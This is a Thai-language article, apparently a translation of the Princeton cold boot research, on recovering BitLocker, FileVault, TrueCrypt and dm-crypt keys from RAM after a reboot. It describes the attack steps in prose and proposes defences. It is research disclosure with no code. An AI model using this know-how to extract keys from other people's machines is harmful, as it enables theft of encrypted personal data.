คอมพิวเตอร์ Windows อินเทอร์เน็ต

เวอร์ชันต่างๆ ได้รับการเข้ารหัสแล้วจึงแฮ็กเวอร์ชันนี้ แฮ็คระบบเข้ารหัสฮาร์ดไดรฟ์ด้วย Cold boot นอนหลับอย่างปลอดภัย

นักวิจัยจากมหาวิทยาลัยพรินซ์ตันได้ค้นพบวิธีเลี่ยงการเข้ารหัสฮาร์ดไดรฟ์โดยใช้ความสามารถของโมดูล RAM เพื่อเก็บข้อมูลในช่วงเวลาสั้นๆ แม้หลังจากไฟฟ้าดับ

คำนำ

เนื่องจากคุณจำเป็นต้องมีกุญแจเพื่อเข้าถึงฮาร์ดไดรฟ์ที่เข้ารหัส และแน่นอนว่ามันจัดเก็บไว้ใน RAM ทั้งหมดที่จำเป็นก็คือการเข้าถึงพีซีเป็นเวลาสองสามนาที หลังจากรีบูตจากฮาร์ดไดรฟ์ภายนอกหรือ USB Flash จะมีการดัมพ์หน่วยความจำทั้งหมดและดึงคีย์การเข้าถึงออกมาภายในไม่กี่นาที

ด้วยวิธีนี้ คุณสามารถรับคีย์การเข้ารหัส (และเข้าถึงฮาร์ดไดรฟ์ได้อย่างเต็มที่) ที่ใช้โดย BitLocker, FileVault และ dm-crypt บนระบบปฏิบัติการ Windows Vista, Mac OS X และ Linux รวมถึงระบบเข้ารหัสฮาร์ดไดรฟ์ยอดนิยมฟรี ทรูคริปต์

ความสำคัญของงานนี้อยู่ที่ข้อเท็จจริงที่ว่าไม่มีวิธีการง่ายๆ ในการป้องกันวิธีการแฮ็คนี้ ยกเว้นการปิดเครื่องในช่วงเวลาที่เพียงพอที่จะลบข้อมูลทั้งหมด

การสาธิตด้วยสายตาของกระบวนการถูกนำเสนอใน วีดีโอ.

คำอธิบายประกอบ

ตรงกันข้ามกับความเชื่อที่นิยม หน่วยความจำ DRAM ที่ใช้ในคอมพิวเตอร์สมัยใหม่ส่วนใหญ่เก็บข้อมูลไว้แม้หลังจากไฟฟ้าดับเป็นเวลาหลายวินาทีหรือหลายนาที ยิ่งกว่านั้น สิ่งนี้เกิดขึ้นที่อุณหภูมิห้องและแม้ว่าชิปจะถูกลบออกจากเมนบอร์ด คราวนี้ก็เพียงพอแล้วที่จะทิ้ง RAM ให้สมบูรณ์ เราจะแสดงให้เห็นว่าปรากฏการณ์นี้ทำให้ผู้โจมตีที่เข้าถึงระบบทางกายภาพสามารถเลี่ยงฟังก์ชัน OS เพื่อปกป้องข้อมูลเกี่ยวกับคีย์การเข้ารหัสลับได้ เราจะแสดงให้เห็นว่าการรีบูตสามารถใช้เพื่อโจมตีระบบเข้ารหัสฮาร์ดไดรฟ์ที่รู้จักได้สำเร็จโดยไม่ต้องใช้อุปกรณ์หรือวัสดุพิเศษใด ๆ ได้อย่างไร เราจะทดลองกำหนดระดับและความน่าจะเป็นของการเก็บรักษาการตกค้าง และแสดงให้เห็นว่าเวลาที่สามารถรับข้อมูลสามารถเพิ่มขึ้นอย่างมากโดยใช้กลอุบายง่ายๆ จะมีการเสนอวิธีการใหม่ในการค้นหาคีย์การเข้ารหัสในการถ่ายโอนข้อมูลหน่วยความจำและแก้ไขข้อผิดพลาดที่เกี่ยวข้องกับบิตที่หายไป เราจะพูดถึงหลายวิธีในการลดความเสี่ยงเหล่านี้ แต่เราไม่รู้วิธีแก้ปัญหาง่ายๆ

บทนำ

ผู้เชี่ยวชาญส่วนใหญ่สันนิษฐานว่าข้อมูลจาก RAM ของคอมพิวเตอร์จะถูกลบออกเกือบจะในทันทีหลังจากไฟฟ้าดับ หรือพิจารณาว่าข้อมูลที่เหลือนั้นยากอย่างยิ่งที่จะดึงออกมาโดยไม่ต้องใช้อุปกรณ์พิเศษ เราจะแสดงให้เห็นว่าสมมติฐานเหล่านี้ไม่ถูกต้อง หน่วยความจำ DRAM แบบธรรมดาจะค่อยๆ สูญเสียข้อมูลเป็นเวลาหลายวินาที แม้ในอุณหภูมิปกติ และแม้ว่าชิปหน่วยความจำจะถูกลบออกจากเมนบอร์ด ข้อมูลจะยังคงอยู่ในนั้นเป็นเวลาหลายนาทีหรือหลายชั่วโมง โดยที่ชิปนั้นจะถูกเก็บไว้ที่อุณหภูมิต่ำ ข้อมูลที่เหลือสามารถกู้คืนได้โดยใช้วิธีการง่ายๆ ที่ต้องการการเข้าถึงทางกายภาพในระยะสั้นไปยังคอมพิวเตอร์

เราจะแสดงการโจมตีจำนวนหนึ่งซึ่งใช้เอฟเฟกต์รีมาเนนซ์ของ DRAM จะช่วยให้เรากู้คืนคีย์การเข้ารหัสที่เก็บไว้ในหน่วยความจำได้ สิ่งนี้ก่อให้เกิดภัยคุกคามอย่างแท้จริงต่อผู้ใช้แล็ปท็อปที่ต้องพึ่งพาระบบเข้ารหัสฮาร์ดไดรฟ์ ท้ายที่สุด หากผู้โจมตีขโมยแล็ปท็อป ในขณะที่เชื่อมต่อดิสก์ที่เข้ารหัส เขาจะสามารถทำการโจมตีอย่างใดอย่างหนึ่งของเราเพื่อเข้าถึงเนื้อหา แม้ว่าแล็ปท็อปจะถูกล็อคหรืออยู่ในโหมดสลีปก็ตาม เราจะสาธิตสิ่งนี้โดยการโจมตีระบบเข้ารหัสยอดนิยมหลายระบบ เช่น BitLocker, TrueCrypt และ FileVault ได้สำเร็จ การโจมตีเหล่านี้ควรประสบความสำเร็จกับระบบเข้ารหัสอื่น ๆ

แม้ว่าเราจะเน้นความพยายามของเราไปที่ระบบเข้ารหัสฮาร์ดไดรฟ์ ในกรณีที่มีการเข้าถึงคอมพิวเตอร์ของผู้โจมตีทางกายภาพ ข้อมูลสำคัญใดๆ ที่จัดเก็บไว้ใน RAM อาจกลายเป็นเป้าหมายของการโจมตีได้ มีแนวโน้มว่าระบบรักษาความปลอดภัยอื่นๆ จำนวนมากมีความเสี่ยง ตัวอย่างเช่น เราพบว่า Mac OS X ทิ้งรหัสผ่านของบัญชีไว้ในหน่วยความจำซึ่งเราสามารถเรียกค้นได้ และเรายังโจมตีคีย์ RSA ส่วนตัวของ Apache ด้วย

บางคนในชุมชนความปลอดภัยของข้อมูลและฟิสิกส์เซมิคอนดักเตอร์ทราบถึงผลกระทบของการรีมาเนนซ์ของ DRAM แล้ว มีข้อมูลน้อยมากเกี่ยวกับเรื่องนี้ เป็นผลให้หลายคนที่ออกแบบ พัฒนา หรือใช้ระบบความปลอดภัยไม่คุ้นเคยกับปรากฏการณ์นี้และวิธีการที่ผู้โจมตีสามารถใช้ประโยชน์ได้ง่ายเพียงใด ตามความรู้ของเรา งานนี้เป็นงานแรกที่ตรวจสอบอย่างละเอียดถึงความหมายของปรากฏการณ์เหล่านี้ในการรักษาความปลอดภัยข้อมูล

การโจมตีบนไดรฟ์ที่เข้ารหัส

การเข้ารหัสฮาร์ดไดรฟ์เป็นวิธีการป้องกันการโจรกรรมข้อมูลที่รู้จักกันดี หลายคนเชื่อว่าระบบเข้ารหัสฮาร์ดไดรฟ์จะปกป้องข้อมูลของพวกเขา แม้ว่าผู้โจมตีจะเข้าถึงคอมพิวเตอร์ได้จริงก็ตาม (อันที่จริง มีความจำเป็นสำหรับสิ่งนี้ ed.) กฎหมายแคลิฟอร์เนียซึ่งผ่านในปี 2545 กำหนดให้รายงานการเปิดเผยข้อมูลส่วนบุคคลที่เป็นไปได้เฉพาะในกรณีที่ข้อมูลไม่ได้เข้ารหัสเพราะ การเข้ารหัสข้อมูลถือเป็นมาตรการป้องกันที่เพียงพอ แม้ว่ากฎหมายจะไม่ได้อธิบายวิธีแก้ปัญหาทางเทคนิคเฉพาะ แต่ผู้เชี่ยวชาญหลายคนแนะนำให้ใช้ระบบเข้ารหัสฮาร์ดไดรฟ์หรือพาร์ติชั่น ซึ่งถือว่าเพียงพอสำหรับการป้องกัน ผลการศึกษาของเราแสดงให้เห็นว่าความเชื่อในการเข้ารหัสดิสก์นั้นไม่มีมูลความจริง ผู้โจมตีซึ่งห่างไกลจากทักษะขั้นสูงสุด สามารถเลี่ยงระบบการเข้ารหัสที่ใช้กันอย่างแพร่หลายได้ หากแล็ปท็อปที่มีข้อมูลถูกขโมยในขณะที่เครื่องเปิดอยู่หรืออยู่ในโหมดสลีป และข้อมูลบนแล็ปท็อปสามารถอ่านได้แม้ว่าจะอยู่บนไดรฟ์ที่เข้ารหัส ดังนั้นการใช้ระบบเข้ารหัสฮาร์ดไดรฟ์จึงไม่ใช่มาตรการที่เพียงพอ

เราใช้การโจมตีหลายประเภทกับระบบเข้ารหัสฮาร์ดไดรฟ์ที่รู้จัก การติดตั้งดิสก์ที่เข้ารหัสและการตรวจสอบความถูกต้องของคีย์การเข้ารหัสที่ตรวจพบนั้นใช้เวลานานที่สุด การรับอิมเมจ RAM และการค้นหาคีย์ใช้เวลาเพียงไม่กี่นาทีและเป็นการทำงานอัตโนมัติทั้งหมด มีเหตุผลที่เชื่อได้ว่าระบบเข้ารหัสฮาร์ดไดรฟ์ส่วนใหญ่ไวต่อการโจมตีดังกล่าว

bitlocker

BitLocker เป็นระบบที่มาพร้อมกับ Windows Vista บางรุ่น มันทำหน้าที่เป็นไดรเวอร์ระหว่างระบบไฟล์และไดรเวอร์ฮาร์ดดิสก์ เข้ารหัสและถอดรหัสเซกเตอร์ที่เลือกตามความต้องการ คีย์ที่ใช้สำหรับการเข้ารหัสอยู่ใน RAM ตราบใดที่ไม่ได้ต่อเชื่อมดิสก์ที่เข้ารหัส

ในการเข้ารหัสแต่ละเซกเตอร์ของฮาร์ดไดรฟ์ BitLocker ใช้คู่คีย์เดียวกันที่สร้างโดยอัลกอริทึม AES: คีย์การเข้ารหัสเซกเตอร์และคีย์เข้ารหัสที่ทำงานในโหมด cipher block chaining (CBC) กุญแจทั้งสองนี้จะถูกเข้ารหัสด้วยมาสเตอร์คีย์ ในการเข้ารหัสเซกเตอร์ ขั้นตอนการเพิ่มข้อความธรรมดาแบบไบนารีจะดำเนินการด้วยคีย์เซสชันที่สร้างขึ้นโดยการเข้ารหัสเซกเตอร์ออฟเซ็ตไบต์ด้วยคีย์การเข้ารหัสเซกเตอร์ จากนั้น ข้อมูลที่ได้รับจะถูกประมวลผลโดยฟังก์ชันการผสมสองฟังก์ชันที่ใช้อัลกอริธึม Elephant ที่พัฒนาโดย Microsoft ฟังก์ชันแบบไม่ใช้คีย์เหล่านี้ใช้เพื่อเพิ่มจำนวนการเปลี่ยนแปลงของบิตทั้งหมดของการเข้ารหัส และด้วยเหตุนี้ จึงเพิ่มความไม่แน่นอนของข้อมูลเซกเตอร์ที่เข้ารหัส ในขั้นตอนสุดท้าย ข้อมูลจะถูกเข้ารหัสด้วยอัลกอริทึม AES ในโหมด CBC โดยใช้คีย์การเข้ารหัสที่เหมาะสม เวกเตอร์การเริ่มต้นถูกกำหนดโดยการเข้ารหัสเซกเตอร์ออฟเซ็ตไบต์ด้วยคีย์การเข้ารหัสที่ใช้ในโหมด CBC

เราได้ใช้การโจมตีตัวอย่างอัตโนมัติที่เรียกว่า BitUnlocker สิ่งนี้ใช้ไดรฟ์ USB ภายนอกกับ Linux OS และ bootloader ที่ปรับเปลี่ยนตาม SYSLINUX และไดรเวอร์ FUSE ที่ให้คุณเชื่อมต่อไดรฟ์ที่เข้ารหัสด้วย BitLocker กับ Linux OS ในคอมพิวเตอร์ทดสอบที่ใช้ Windows Vista เครื่องถูกปิด เชื่อมต่อฮาร์ดไดรฟ์ USB และบู๊ตจากคอมพิวเตอร์นั้น หลังจากนั้น BitUnlocker จะถ่ายโอน RAM ไปยังไดรฟ์ภายนอกโดยอัตโนมัติ ค้นหาคีย์ที่เป็นไปได้โดยใช้โปรแกรมค้นหาคีย์ ลองใช้ตัวเลือกที่เหมาะสมทั้งหมด (คู่ของคีย์การเข้ารหัสเซกเตอร์และคีย์โหมด CBC) และหากสำเร็จ ให้เชื่อมต่อไดรฟ์ที่เข้ารหัส . ทันทีที่เชื่อมต่อดิสก์ ก็สามารถทำงานกับดิสก์ได้เหมือนกับดิสก์อื่นๆ สำหรับแล็ปท็อปสมัยใหม่ที่มี RAM 2 กิกะไบต์ กระบวนการนี้ใช้เวลาประมาณ 25 นาที

เป็นที่น่าสังเกตว่าการโจมตีนี้สามารถทำได้โดยไม่ต้องทำวิศวกรรมย้อนกลับสำหรับซอฟต์แวร์ใดๆ เอกสารประกอบของ Microsoft อธิบายระบบ BitLocker อย่างเพียงพอเพื่อให้เข้าใจบทบาทของคีย์การเข้ารหัสเซกเตอร์และคีย์โหมด CBC และสร้างโปรแกรมของคุณเองที่ใช้กระบวนการทั้งหมด

ความแตกต่างหลักระหว่าง BitLocker และโปรแกรมอื่นๆ ของคลาสนี้คือวิธีจัดเก็บคีย์เมื่อยกเลิกการเชื่อมต่อไดรฟ์ที่เข้ารหัส ตามค่าเริ่มต้น ในโหมดพื้นฐาน BitLocker จะปกป้องมาสเตอร์คีย์ด้วยความช่วยเหลือของโมดูล TPM เท่านั้น ซึ่งมีอยู่ในพีซีสมัยใหม่หลายเครื่อง วิธีนี้ซึ่งดูเหมือนว่าจะใช้กันอย่างแพร่หลายนั้นมีความเสี่ยงเป็นพิเศษต่อการโจมตีของเรา เนื่องจากจะช่วยให้คุณได้รับคีย์การเข้ารหัสแม้ว่าคอมพิวเตอร์จะปิดอยู่เป็นเวลานาน เพราะเมื่อพีซีบูทขึ้น คีย์จะถูกโหลดโดยอัตโนมัติ ลงใน RAM (จนถึงหน้าต่างเข้าสู่ระบบ) โดยไม่ต้องป้อนข้อมูลการตรวจสอบใด ๆ

เห็นได้ชัดว่า ผู้เชี่ยวชาญของ Microsoft คุ้นเคยกับปัญหานี้ ดังนั้นจึงแนะนำให้กำหนดค่า BitLocker ในโหมดที่ได้รับการปรับปรุง ซึ่งคีย์ได้รับการปกป้องไม่เพียงแค่ด้วยความช่วยเหลือของ TPM แต่ยังรวมถึงรหัสผ่านหรือคีย์บนไดรฟ์ USB ภายนอกด้วย แต่ถึงแม้จะอยู่ในโหมดนี้ ระบบก็ยังมีความเสี่ยงหากผู้โจมตีเข้าถึงพีซีได้ในขณะทำงาน (สามารถล็อคหรืออยู่ในโหมดสลีปได้ (สถานะ - เพิ่งปิดหรือไฮเบอร์เนตในกรณีนี้ถือว่าไม่ได้รับผลกระทบ โดยการโจมตีครั้งนี้)

ไฟล์ห้องนิรภัย

ระบบ FileVault ของ Apple ได้รับการวิจัยบางส่วนและออกแบบวิศวกรรมย้อนกลับ บน Mac OS X 10.4 FileVault ใช้คีย์ AES 128 บิตในโหมด CBC เมื่อป้อนรหัสผ่านของผู้ใช้ ส่วนหัวที่มีคีย์ AES และคีย์ K2 ที่สองจะถูกถอดรหัส ใช้ในการคำนวณเวกเตอร์การเริ่มต้น เวกเตอร์การเริ่มต้นสำหรับบล็อกดิสก์ Ith คำนวณเป็น HMAC-SHA1 K2(I)

เราใช้โปรแกรม EFI เพื่อจับภาพ RAM เพื่อดึงข้อมูลจากคอมพิวเตอร์ Macintosh (ใช้โปรเซสเซอร์ Intel) โดยแนบไดรฟ์เข้ารหัส FileVault จากนั้นโปรแกรมค้นหาคีย์พบคีย์ FileVault AES โดยอัตโนมัติโดยไม่มีข้อผิดพลาด

หากไม่มีเวกเตอร์การเริ่มต้น แต่ด้วยคีย์ AES ที่ได้รับ จะสามารถถอดรหัส 4080 จาก 4096 ไบต์ของแต่ละบล็อกดิสก์ได้ (ทุกอย่างยกเว้นบล็อก AES แรก) เราตรวจสอบให้แน่ใจว่าเวกเตอร์การเริ่มต้นอยู่ในการถ่ายโอนข้อมูลด้วย สมมติว่าข้อมูลไม่เสียหาย ผู้โจมตีสามารถระบุเวกเตอร์ได้โดยการลองสตริง 160 บิตทั้งหมดในการถ่ายโอนข้อมูลทีละรายการและตรวจสอบว่าสามารถสร้างข้อความธรรมดาที่เป็นไปได้หรือไม่เมื่อเพิ่มไบนารีลงในส่วนแรกที่ถอดรหัสลับของ บล็อก. การใช้โปรแกรมต่างๆ เช่น vilefault, คีย์ AES และเวคเตอร์การเริ่มต้นร่วมกันทำให้คุณสามารถถอดรหัสดิสก์ที่เข้ารหัสได้อย่างสมบูรณ์

ขณะตรวจสอบ FileVault เราพบว่า Mac OS X 10.4 และ 10.5 ทิ้งสำเนารหัสผ่านของผู้ใช้ไว้หลายชุดในหน่วยความจำ ซึ่งเสี่ยงต่อการถูกโจมตีนี้ รหัสผ่านบัญชีมักใช้เพื่อป้องกันคีย์ ซึ่งในทางกลับกันก็สามารถใช้เพื่อป้องกันข้อความรหัสผ่านบนไดรฟ์ที่เข้ารหัส FileVault ได้

TrueCrypt

TrueCrypt เป็นระบบเข้ารหัสโอเพ่นซอร์สยอดนิยมที่ทำงานบน Windows, MacOS และ Linux รองรับอัลกอริธึมมากมายรวมถึง AES, Serpent และ Twofish ในเวอร์ชัน 4 อัลกอริธึมทั้งหมดทำงานในโหมด LRW; ในเวอร์ชันที่ 5 ปัจจุบัน พวกเขาใช้โหมด XTS TrueCrypt เก็บคีย์เข้ารหัสและคีย์ tweak ไว้ในส่วนหัวของพาร์ติชั่นในแต่ละไดรฟ์ ซึ่งเข้ารหัสด้วยคีย์อื่นที่ได้รับมาจากรหัสผ่านที่ผู้ใช้ป้อน

เราทดสอบ TrueCrypt 4.3a และ 5.0a ที่ทำงานภายใต้ Linux OS เราเชื่อมต่อดิสก์ที่เข้ารหัสด้วยคีย์ AES 256 บิต จากนั้นปิดเครื่องและใช้ซอฟต์แวร์การถ่ายโอนข้อมูลหน่วยความจำของเราเองในการบูต ในทั้งสองกรณี keyfind พบคีย์การเข้ารหัส 256 บิตที่ไม่เสียหาย นอกจากนี้ ในกรณีของ TrueCrypt 5.0.a การค้นหาคีย์สามารถกู้คืนคีย์ tweak ของโหมด XTS ได้

ในการถอดรหัสดิสก์ที่สร้างโดย TrueCrypt 4 คุณต้องปรับแต่งคีย์โหมด LRW เราพบว่าระบบจัดเก็บข้อมูลไว้สี่คำก่อนกำหนดคีย์ AES ที่สำคัญ ในการถ่ายโอนข้อมูลของเรา คีย์ LRW ไม่เสียหาย (ในกรณีที่เกิดข้อผิดพลาด เราจะยังสามารถกู้คืนคีย์ได้)

Dm-crypt

เคอร์เนล Linux ที่เริ่มต้นด้วยเวอร์ชัน 2.6 รวมถึงการสนับสนุน dm-crypt ซึ่งเป็นระบบย่อยการเข้ารหัสดิสก์ในตัว Dm-crypt ใช้อัลกอริธึมและโหมดมากมาย แต่โดยค่าเริ่มต้น จะใช้การเข้ารหัส AES 128 บิตในโหมด CBC พร้อมเวคเตอร์เริ่มต้นที่ไม่ใช่คีย์

เราทดสอบพาร์ติชั่น dm-crypt ที่สร้างขึ้นโดยใช้สาขา LUKS (Linux Unified Key Setup) ของยูทิลิตี้ cryptsetup และเคอร์เนล 2.6.20 ดิสก์ถูกเข้ารหัสโดยใช้ AES ในโหมด CBC เราปิดเครื่องไปชั่วขณะหนึ่ง และใช้โปรแกรมโหลดบูต PXE ที่แก้ไข เราทำการดัมพ์หน่วยความจำ โปรแกรมค้นหาคีย์พบคีย์ AES 128 บิตที่ถูกต้อง ซึ่งกู้คืนได้โดยไม่มีข้อผิดพลาด หลังจากกู้คืนแล้ว ผู้โจมตีสามารถถอดรหัสและติดตั้งพาร์ติชั่นที่เข้ารหัส dm-crypt โดยแก้ไขยูทิลิตี้ cryptsetup เพื่อให้ยอมรับคีย์ในรูปแบบที่ต้องการ

วิธีการป้องกันและข้อจำกัด

การใช้การป้องกันการโจมตีบน RAM ไม่ใช่เรื่องเล็กน้อย เนื่องจากต้องเก็บคีย์การเข้ารหัสที่ใช้ไว้ที่ใดที่หนึ่ง เราเสนอให้มุ่งเน้นที่การทำลายหรือซ่อนคีย์ก่อนที่ผู้โจมตีจะสามารถเข้าถึงพีซีได้จริง ป้องกันไม่ให้ซอฟต์แวร์ถ่ายโอนข้อมูลหน่วยความจำหลักทำงาน ปกป้องชิป RAM ทางกายภาพ และหากเป็นไปได้ ให้ลดอายุข้อมูลใน RAM

หน่วยความจำเขียนทับ

ก่อนอื่น ถ้าเป็นไปได้ จำเป็นต้องหลีกเลี่ยงการเก็บคีย์ในแรม จำเป็นต้องเขียนทับข้อมูลสำคัญเมื่อไม่มีการใช้งานอีกต่อไป และป้องกันไม่ให้มีการคัดลอกข้อมูลเพื่อสลับไฟล์ ต้องล้างหน่วยความจำล่วงหน้าโดยใช้ระบบปฏิบัติการหรือไลบรารีเพิ่มเติม ตามปกติแล้ว มาตรการเหล่านี้จะไม่ปกป้องคีย์ที่ใช้อยู่ในปัจจุบัน เนื่องจากจะต้องเก็บไว้ในหน่วยความจำ เช่น คีย์ที่ใช้สำหรับดิสก์ที่เข้ารหัสหรือบนเว็บเซิร์ฟเวอร์ที่ปลอดภัย

นอกจากนี้ จะต้องล้าง RAM ระหว่างกระบวนการบู๊ต พีซีบางเครื่องสามารถกำหนดค่าให้ล้าง RAM เมื่อบู๊ตได้โดยใช้คำขอล้าง POST (การทดสอบตัวเองเมื่อเปิดเครื่อง) ก่อนบูตระบบปฏิบัติการ หากผู้โจมตีไม่สามารถป้องกันการดำเนินการตามคำขอนี้ได้ ในพีซีเครื่องนี้ เขาจะไม่สามารถทำการดัมพ์หน่วยความจำด้วยข้อมูลสำคัญได้ แต่เขายังคงมีโอกาสที่จะดึงชิป RAM ออกมาและใส่ลงในพีซีเครื่องอื่นด้วยการตั้งค่า BIOS ที่เขาต้องการ

จำกัดการดาวน์โหลดจากเครือข่ายหรือจากสื่อที่ถอดออกได้

การโจมตีหลายครั้งของเราเกิดขึ้นโดยใช้การบูตเครือข่ายหรือสื่อแบบถอดได้ ต้องกำหนดค่าพีซีให้ต้องใช้รหัสผ่านผู้ดูแลระบบเพื่อบูตจากแหล่งเหล่านี้ แต่ควรสังเกตว่าแม้ว่าระบบจะได้รับการกำหนดค่าให้บูตจากฮาร์ดไดรฟ์หลักเท่านั้น ผู้โจมตีสามารถเปลี่ยนฮาร์ดไดรฟ์เองได้ หรือในหลายกรณี ให้รีเซ็ต NVRAM ของคอมพิวเตอร์เพื่อเปลี่ยนกลับเป็นการตั้งค่า BIOS ดั้งเดิม

นอนหลับอย่างปลอดภัย

ผลการศึกษาพบว่าการล็อคเดสก์ท็อปพีซีเพียงอย่างเดียว (นั่นคือระบบปฏิบัติการยังคงทำงานต่อไป แต่ในการเริ่มโต้ตอบกับมัน จะต้องป้อนรหัสผ่าน) ไม่ได้ป้องกันเนื้อหาของ RAM โหมดสลีปจะไม่มีผลแม้ว่าพีซีจะถูกบล็อกเมื่อกลับมาจากโหมดสลีป เนื่องจากผู้โจมตีสามารถเปิดใช้งานการกลับจากโหมดสลีป จากนั้นรีสตาร์ทแล็ปท็อปและทำการดัมพ์หน่วยความจำ โหมดไฮเบอร์เนต (เนื้อหาของ RAM ถูกคัดลอกไปยังฮาร์ดดิสก์) จะไม่ช่วยยกเว้นเมื่อใช้ข้อมูลสำคัญบนสื่อแปลกปลอมเพื่อกู้คืนการทำงานปกติ

ด้วยระบบเข้ารหัสฮาร์ดไดรฟ์ส่วนใหญ่ ผู้ใช้สามารถป้องกันตนเองได้โดยการปิดเครื่องพีซี (ระบบ Bitlocker ในโหมดพื้นฐานของโมดูล TPM ยังคงมีช่องโหว่ เนื่องจากดิสก์จะเชื่อมต่อโดยอัตโนมัติเมื่อเปิดเครื่องพีซี) เนื้อหาในหน่วยความจำอาจยังคงอยู่ในช่วงเวลาสั้นๆ หลังจากปิด ดังนั้น ขอแนะนำให้ตรวจสอบเวิร์กสเตชันของคุณอีกสองสามนาที แม้จะมีประสิทธิภาพ แต่มาตรการนี้ไม่สะดวกอย่างยิ่งเนื่องจากการโหลดเวิร์กสเตชันที่ยาวนาน

การไฮเบอร์เนตสามารถป้องกันได้ด้วยวิธีต่อไปนี้: ต้องใช้รหัสผ่านหรือความลับอื่นๆ เพื่อ "ปลุก" เวิร์กสเตชัน และเข้ารหัสเนื้อหาของหน่วยความจำด้วยคีย์ที่ได้มาจากรหัสผ่านนี้ รหัสผ่านต้องแข็งแกร่ง เนื่องจากผู้โจมตีสามารถทิ้งหน่วยความจำแล้วลองเดารหัสผ่านโดยใช้กำลังเดรัจฉาน หากไม่สามารถเข้ารหัสหน่วยความจำทั้งหมดได้ จะต้องเข้ารหัสเฉพาะพื้นที่ที่มีข้อมูลคีย์เท่านั้น ระบบบางระบบอาจได้รับการกำหนดค่าให้เข้าสู่โหมดสลีปที่มีการป้องกันประเภทนี้ แม้ว่าโดยทั่วไปจะไม่ใช่การตั้งค่าเริ่มต้นก็ตาม

การปฏิเสธการคำนวณล่วงหน้า

การวิจัยของเราแสดงให้เห็นว่าการใช้การคำนวณล่วงหน้าเพื่อเพิ่มความเร็วในการดำเนินการเข้ารหัสทำให้ข้อมูลสำคัญมีความเสี่ยงมากขึ้น การคำนวณล่วงหน้านำไปสู่ความจริงที่ว่าในหน่วยความจำมีข้อมูลซ้ำซ้อนเกี่ยวกับข้อมูลสำคัญ ซึ่งช่วยให้ผู้โจมตีสามารถกู้คืนคีย์ได้แม้ว่าจะมีข้อผิดพลาดก็ตาม ตัวอย่างเช่น ตามที่อธิบายไว้ในส่วนที่ 5 ข้อมูลเกี่ยวกับคีย์การวนซ้ำของอัลกอริธึม AES และ DES นั้นซ้ำซ้อนและมีประโยชน์อย่างมากสำหรับผู้โจมตี

การปฏิเสธการคำนวณล่วงหน้าจะลดประสิทธิภาพการทำงาน เนื่องจากอาจต้องทำการคำนวณซ้ำที่อาจซับซ้อน แต่ตัวอย่างเช่น คุณสามารถแคชค่าที่คำนวณไว้ล่วงหน้าในช่วงระยะเวลาหนึ่งและลบข้อมูลที่ได้รับหากไม่ได้ใช้ในช่วงเวลานี้ วิธีการนี้แสดงถึงการประนีประนอมระหว่างความปลอดภัยและประสิทธิภาพของระบบ

การขยายคีย์

อีกวิธีหนึ่งในการป้องกันการกู้คืนคีย์คือการเปลี่ยนข้อมูลคีย์ที่จัดเก็บไว้ในหน่วยความจำเพื่อให้การกู้คืนคีย์ทำได้ยากขึ้นเนื่องจากข้อผิดพลาดต่างๆ วิธีนี้ได้รับการพิจารณาในทางทฤษฎี โดยแสดงให้เห็นว่าฟังก์ชันต้านทานการเปิดเผยข้อมูลได้ ซึ่งอินพุตยังคงซ่อนอยู่แม้ว่าจะค้นพบเอาต์พุตเกือบทั้งหมด ซึ่งคล้ายกับการทำงานของฟังก์ชันทางเดียวมาก

ในทางปฏิบัติ ลองนึกภาพว่าเรามีคีย์ AES 256 บิต K ซึ่งไม่ได้ใช้งานอยู่ในขณะนี้ แต่จะต้องใช้ในภายหลัง เราไม่สามารถเขียนทับมันได้ แต่เราต้องการทำให้มันต้านทานการพยายามกู้คืน วิธีหนึ่งในการบรรลุเป้าหมายนี้คือการจัดสรรพื้นที่ข้อมูล B-bit ขนาดใหญ่ เติมด้วยข้อมูลสุ่ม R จากนั้นเก็บผลลัพธ์ของการแปลง K + H (R) ต่อไปนี้ในหน่วยความจำ โดยที่ H คือฟังก์ชันแฮช เช่น SHA-256

ทีนี้ลองนึกภาพว่าไฟฟ้าดับแล้ว จะทำให้ d บิตในบริเวณนี้เปลี่ยนไป หากฟังก์ชันแฮชแข็งแกร่ง เมื่อพยายามกู้คืนคีย์ K ผู้โจมตีสามารถพึ่งพาได้เพียงเดาว่าส่วนใดของพื้นที่ B ที่เปลี่ยนแปลงไปจากครึ่งหนึ่งที่อาจเปลี่ยนแปลงได้ หากมีการเปลี่ยนแปลงบิต d ผู้โจมตีจะต้องค้นหาขอบเขตขนาด (B/2+d)/d เพื่อค้นหาค่าที่ถูกต้องของ R แล้วกู้คืนคีย์ K หากพื้นที่ B มีขนาดใหญ่ การค้นหาดังกล่าวอาจยาวมาก แม้ว่า d จะค่อนข้างเล็ก

ในทางทฤษฎี เราสามารถจัดเก็บคีย์ทั้งหมดในลักษณะนี้ โดยคำนวณแต่ละคีย์เมื่อเราต้องการเท่านั้น และลบออกเมื่อเราไม่ต้องการ ดังนั้น โดยใช้วิธีข้างต้น เราสามารถเก็บคีย์ในหน่วยความจำ

การป้องกันทางกายภาพ

การโจมตีบางส่วนของเราอาศัยการเข้าถึงชิปหน่วยความจำทางกายภาพ การโจมตีดังกล่าวสามารถป้องกันได้ด้วยการป้องกันหน่วยความจำกายภาพ ตัวอย่างเช่น โมดูลหน่วยความจำจะถูกเก็บไว้ในเคสพีซีแบบปิด หรือปิดผนึกด้วยอีพ็อกซี่เพื่อป้องกันการพยายามถอดหรือเข้าถึง นอกจากนี้ยังสามารถใช้การเขียนทับหน่วยความจำเพื่อตอบสนองต่ออุณหภูมิต่ำหรือพยายามเปิดเคส วิธีนี้จะต้องมีการติดตั้งเซ็นเซอร์ที่มีระบบจ่ายไฟอิสระ วิธีการเหล่านี้หลายวิธีเกี่ยวข้องกับฮาร์ดแวร์ป้องกันการงัดแงะ (เช่น ตัวประมวลผลร่วม IBM 4758) และสามารถเพิ่มต้นทุนของเวิร์กสเตชันได้อย่างมาก ในทางกลับกัน การใช้หน่วยความจำที่บัดกรีกับเมนบอร์ดนั้นถูกกว่ามาก

การเปลี่ยนแปลงของสถาปัตยกรรม

คุณสามารถเปลี่ยนสถาปัตยกรรมพีซีได้ ซึ่งเป็นไปไม่ได้สำหรับพีซีที่ใช้อยู่แล้ว แต่จะช่วยให้คุณสามารถรักษาความปลอดภัยเครื่องใหม่ได้

วิธีแรกคือการออกแบบโมดูล DRAM เพื่อให้ลบข้อมูลทั้งหมดได้เร็วขึ้น ซึ่งอาจเป็นเรื่องยาก เนื่องจากเป้าหมายของการลบข้อมูลอย่างรวดเร็วที่สุดขัดกับเป้าหมายอื่นที่จะไม่สูญเสียข้อมูลระหว่างช่วงเวลารีเฟรชหน่วยความจำ

